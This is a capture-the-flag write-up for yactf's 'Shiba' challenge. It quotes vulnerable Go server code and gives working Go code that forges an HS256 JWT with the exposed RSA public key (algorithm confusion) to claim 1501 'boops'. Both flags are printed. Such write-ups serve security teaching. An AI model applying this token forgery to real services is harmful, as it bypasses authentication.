Links

Shiba

Baby Challenge

The first challenge was simply to "press Boop 1500 times".
We could automate the API requests.
import requests
​
session = requests.Session()
session.get('https://shiba.yactf.ru/')
​
for i in range(1500):
r = session.get('https://shiba.yactf.ru/api/boop')
print(i, r.text)
​
r = session.get('https://shiba.yactf.ru/')
print(r.text)
print(session.cookies.get_dict())
After 1500 iterations, we get the flag.
Gratz! Baby flag: yactf{b00p_bO0p_b0op_b00p_b0Op1Ty_bO0p}. But your real-flag is in another castle: at 1501 boops

Hard Challenge

The goal of this challenge is to somehow get 1501 "boops". However, the server stops incrementing the "boops" after reaching 1500.
We could firstly see that the server uses JWT tokens to count the number of "boops".
The public key is provided in /signature/key.pub, which is hinted by /robots.txt.
r := gin.Default()
r.Static("/static", "./static")
r.Static("/images", "./images")
r.Static("/signature", "./signature")
r.LoadHTMLGlob("templates/*.html")
r.GET("/robots.txt", func(c *gin.Context) {
c.String(200, "//TODO PublicKey at /signature/key.pub")
})
Let's take a look at how the server processes the supplied JWT. The server accepts both HS256 and RS256 tokens, but notice that the public key, verifyKey is used to validate the JWT signature in both cases.
verifyBytes, _ := ioutil.ReadFile(pubKeyPath)
verifyKey, _ = jwt.ParseRSAPublicKeyFromPEM(verifyBytes)
​
...
​
token, err := jwt.ParseWithClaims(cookie, &MyCustomClaims{}, func(token *jwt.Token) (interface{}, error) {
if token.Method == jwt.SigningMethodHS256 {
return x509.MarshalPKCS1PublicKey(verifyKey), nil
}
if token.Method == jwt.SigningMethodRS256 {
return verifyKey, nil
}
return verifyKey, nil
})
This is interesting because we have knowledge of the public key. HMAC, by definition, does not have the concept of a public/private key pair - the signing and verification must be performed using the same secret key.
The private key, signKey is used to sign RS256 tokens, but note that we could just as easily generate our own HS256 token, using the known public key. This would then be validated by the server since the same public key is used for validation.
signBytes, _ := ioutil.ReadFile(privKeyPath)
signKey, _ = jwt.ParseRSAPrivateKeyFromPEM(signBytes)
​
...
​
// Return new JWT TOKEN
returnClaims := MyCustomClaims{
boops,
jwt.StandardClaims{
ExpiresAt: time.Now().Unix() + 15000,
Issuer: "Boops Company",
},
}
returnToken := jwt.NewWithClaims(jwt.SigningMethodRS256, returnClaims)
tokenString, _ := returnToken.SignedString(signKey)
To do this, we simply sign a token with the public verifyKey.
test := jwt.NewWithClaims(jwt.SigningMethodHS256, MyCustomClaims{
1501,
jwt.StandardClaims{
ExpiresAt: time.Now().Unix() + 15000,
Issuer: "Boops Company",
},
})
fmt.Println(test.SignedString(x509.MarshalPKCS1PublicKey(verifyKey)))
The flag is yactf{Oh_G00d_pOor_ch3emS_5o_m4ny_boOpS}.